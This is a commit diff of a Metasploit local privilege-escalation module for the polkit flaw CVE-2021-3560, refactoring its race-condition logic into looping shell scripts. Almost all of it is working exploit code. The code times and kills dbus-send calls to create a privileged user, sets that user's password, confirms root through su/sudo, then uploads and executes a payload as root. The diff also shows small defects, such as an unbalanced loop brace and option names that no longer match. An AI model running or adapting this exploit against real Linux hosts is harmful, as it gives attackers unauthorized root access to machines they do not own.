Send one large command over many of smaller size
This commit is contained in:
parent
e7608d79f6
commit
8d2d445699
|
@ -42,36 +42,38 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
'References' => [
|
||||
['URL', 'https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/'],
|
||||
['CVE', '2021-3560'],
|
||||
['EDB', '50011'],
|
||||
],
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Automatic', {} ],
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
# 'DefaultOptions' => { 'PrependSetgid' => true, 'PrependSetuid' => true, 'WfsDelay' => 10 },
|
||||
'DisclosureDate' => '2021-06-03',
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES, IOC_IN_LOGS],
|
||||
'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES, IOC_IN_LOGS, SCREEN_EFFECTS],
|
||||
'Reliability' => [REPEATABLE_SESSION]
|
||||
}
|
||||
)
|
||||
)
|
||||
register_options([
|
||||
#OptString.new('WritableDir', [ true, 'A directory where you can write files.', '/tmp' ]),
|
||||
OptString.new('USERNAME', [ true, 'A username to add as root', 'msf' ], regex: /^[a-z_]([a-z0-9_-]{0,31}|[a-z0-9_-]{0,30}\$)$/),
|
||||
OptString.new('PASSWORD', [ false, 'A password to add for NewUser (default: random)' ]),
|
||||
OptString.new('CMDDELAY', [ true, 'Amount of time in seconds to let the command to run before killing it.
|
||||
OptString.new('WRITEABLEDIR', [ true, 'A directory where you can write files.', '/tmp' ]),
|
||||
OptString.new('USERNAME', [ true, 'A username to add as root', 'msf' ], regex: /^[a-z_]([a-z0-9_-]{0,31}|[a-z0-9_-]{0,30}\$)$/),
|
||||
OptString.new('PASSWORD', [ true, 'A password to add for the user (default: random)', rand_text_alphanumeric(8)]),
|
||||
OptString.new('CMD_DELAY', [
|
||||
true, 'Amount of time in seconds to let the command to run before killing it.
|
||||
This value should be half of the time it takes to run:
|
||||
\"time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply
|
||||
/org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:<USERNAME> string:"<USERNAME>" int32:1\"', '0.002' ]),
|
||||
OptString.new('ITERATIONS', [ true, 'Due to the race condition the command might have to be run multiple times before it is successful. Use this to define how many times each command is attempted', '20']),
|
||||
])
|
||||
/org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:<USERNAME> string:"<USERNAME>" int32:1\"', '0.002'
|
||||
]),
|
||||
OptString.new('ITERATIONS', [ true, 'Due to the race condition the command might have to be run multiple times before it is successful. Use this to define how many times each command is attempted', '20']),
|
||||
])
|
||||
end
|
||||
|
||||
def exploit_set_realname(new_realname)
|
||||
cmd_exec(<<~SCRIPT
|
||||
for i in {1..20}; do
|
||||
for i in {1..#{datastore['ITERATIONS']}}; do
|
||||
dbus-send
|
||||
--system
|
||||
--dest=org.freedesktop.Accounts
|
||||
|
@ -96,7 +98,7 @@ This value should be half of the time it takes to run:
|
|||
break;
|
||||
fi;
|
||||
done
|
||||
SCRIPT
|
||||
SCRIPT
|
||||
.gsub(/\s+/, ' ')) =~ /success/
|
||||
end
|
||||
|
||||
|
@ -146,41 +148,59 @@ This value should be half of the time it takes to run:
|
|||
cmd_exec(cmd)
|
||||
end
|
||||
|
||||
|
||||
def create_unix_crypt_hash
|
||||
UnixCrypt::SHA256.build("#{datastore['PASSWORD']}", "GoldenEye")
|
||||
UnixCrypt::SHA256.build(datastore['PASSWORD'].to_s)
|
||||
end
|
||||
|
||||
def create_user
|
||||
datastore['ITERATIONS'].to_i.times do |i|
|
||||
print_status("Command execution attempt #{i}...")
|
||||
# TODO - make CmdDelay configurable or calculate what it should be based on the output of the round trip for the command
|
||||
# TODO - Randmize user name Faker::
|
||||
print_status("Trying the command:")
|
||||
print_status("dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:#{datastore['USERNAME']} string:\"#{datastore['USERNAME']}\" int32:1 & sleep #{datastore['CMDDELAY']}s; kill $!; if id #{datastore['USERNAME']}; then echo \"success\"; else echo \"failed\"; fi")
|
||||
|
||||
output = cmd_exec("dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:#{datastore['USERNAME']} string:\"#{datastore['USERNAME']}\" int32:1 & sleep #{datastore['CMDDELAY']}s; kill $!; if id #{datastore['USERNAME']}; then echo \"success\"; else echo \"failed\"; fi")
|
||||
vprint_status("Output of command: #{output}")
|
||||
if output[/success/]
|
||||
uid = output.match(/uid=(\d+)/)[1]
|
||||
print_good("User #{datastore['USERNAME']} created with UID #{uid}")
|
||||
return uid
|
||||
end
|
||||
end
|
||||
fail_with(Failure::BadConfig, "The user #{datastore['USERNAME']} was unable to be created. This could be due to race condition that the vulnerability.")
|
||||
def exploit_set_username
|
||||
cmd_exec(<<~SCRIPT
|
||||
for i in {1..#{datastore['ITERATIONS']}}; do
|
||||
dbus-send
|
||||
--system
|
||||
--dest=org.freedesktop.Accounts
|
||||
--type=method_call
|
||||
--print-reply
|
||||
/org/freedesktop/Accounts
|
||||
org.freedesktop.Accounts.CreateUser
|
||||
string:#{datastore['USERNAME']}#{' '}
|
||||
string:\"#{datastore['USERNAME']}\"#{' '}
|
||||
int32:1 &
|
||||
sleep #{datastore['CMDDELAY']}s;
|
||||
kill $!;
|
||||
if id #{datastore['USERNAME']}; then#{' '}
|
||||
echo \"success\";#{' '}
|
||||
break;
|
||||
fi;
|
||||
done
|
||||
SCRIPT
|
||||
.gsub(/\s+/, ' ')) =~ /success/
|
||||
end
|
||||
|
||||
def set_password(uid, hashed_password)
|
||||
datastore['ITERATIONS'].to_i.times do |i|
|
||||
vprint_line("Command execution attempt #{i}...")
|
||||
set_password_attempt = cmd_exec("dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User#{uid} org.freedesktop.Accounts.User.SetPassword string:'#{hashed_password}' string:GoldenEye & sleep #{datastore['CMDDELAY']}s ; kill $! & echo #{datastore['PASSWORD']} | su - #{datastore['USERNAME']} -c \"echo #{datastore['PASSWORD']} | sudo -S id\"")
|
||||
if set_password_attempt[/uid=0\(root\)/]
|
||||
print_status("#{set_password_attempt}")
|
||||
print_good("Obtained code execution has root!")
|
||||
return
|
||||
end
|
||||
end
|
||||
fail_with(Failure::BadConfig, "Attempted setting the password #{datastore['Iterations']} times, did not work.")
|
||||
def exploit_set_password(uid, hashed_password)
|
||||
cmd_exec(<<~SCRIPT
|
||||
for i in {1..#{datastore['ITERATIONS']}; do
|
||||
dbus-send#{' '}
|
||||
--system
|
||||
--dest=org.freedesktop.Accounts
|
||||
--type=method_call
|
||||
--print-reply#{' '}
|
||||
/org/freedesktop/Accounts/User#{uid}#{' '}
|
||||
org.freedesktop.Accounts.User.SetPassword#{' '}
|
||||
string:'#{hashed_password}'#{' '}
|
||||
string: &#{' '}
|
||||
sleep #{datastore['CMDDELAY']}s;
|
||||
kill $!;#{' '}
|
||||
echo #{datastore['PASSWORD']}#{' '}
|
||||
| su - #{datastore['USERNAME']}#{' '}
|
||||
-c \"echo #{datastore['PASSWORD']} | sudo -S id\"#{' '}
|
||||
| grep \"uid=0(root)\";#{' '}
|
||||
if [ $? -eq 0 ]; then#{' '}
|
||||
echo \"success\";
|
||||
break;#{' '}
|
||||
fi;
|
||||
done
|
||||
SCRIPT
|
||||
.gsub(/\s+/, ' ')) =~ /success/
|
||||
end
|
||||
|
||||
def upload(path, data)
|
||||
|
@ -196,9 +216,10 @@ This value should be half of the time it takes to run:
|
|||
end
|
||||
|
||||
def upload_payload
|
||||
fname = "/tmp/#{Rex::Text.rand_text_alpha(5)}"
|
||||
fname = "#{datastore['WRITEABLEDIR']}/#{Rex::Text.rand_text_alpha(5)}"
|
||||
upload_and_chmodx(fname, generate_payload_exe)
|
||||
return nil unless file_exist?(fname)
|
||||
|
||||
fname
|
||||
end
|
||||
|
||||
|
@ -206,18 +227,28 @@ This value should be half of the time it takes to run:
|
|||
cmd_exec("echo #{datastore['PASSWORD']} | su - #{datastore['USERNAME']} -c \"echo #{datastore['PASSWORD']} | sudo -S #{fname}\"")
|
||||
end
|
||||
|
||||
#TODO - use dbus to delete user method
|
||||
# TODO: - use dbus to delete user method
|
||||
def remove_user
|
||||
print_status("Removing the user added: ")
|
||||
print_status('Removing the user added: ')
|
||||
end
|
||||
|
||||
def exploit
|
||||
print_status("Attempting to create user #{datastore['USERNAME']}")
|
||||
uid = create_user
|
||||
print_status("Attempting to set the password of the newly create user, #{datastore['USERNAME']}, to: #{datastore['PASSWORD']}")
|
||||
set_password(uid, create_unix_crypt_hash)
|
||||
fname = upload_payload
|
||||
execute_payload(fname)
|
||||
remove_user
|
||||
if exploit_set_username
|
||||
uid = cmd_exec("id -u #{datastore['USERNAME']}")
|
||||
print_good("User #{datastore['USERNAME']} created with UID #{uid}")
|
||||
print_status("Attempting to set the password of the newly create user, #{datastore['USERNAME']}, to: #{datastore['PASSWORD']}")
|
||||
if exploit_set_password(uid, create_unix_crypt_hash)
|
||||
print_good('Obtained code execution has root!')
|
||||
fname = upload_payload
|
||||
execute_payload(fname)
|
||||
# TODO: remove_user
|
||||
remove_user
|
||||
else
|
||||
fail_with(Failure::BadConfig, "Attempted setting the password #{datastore['Iterations']} times, did not work.")
|
||||
end
|
||||
else
|
||||
fail_with(Failure::BadConfig, "The user #{datastore['USERNAME']} was unable to be created. This could be due to race condition that the vulnerability.")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue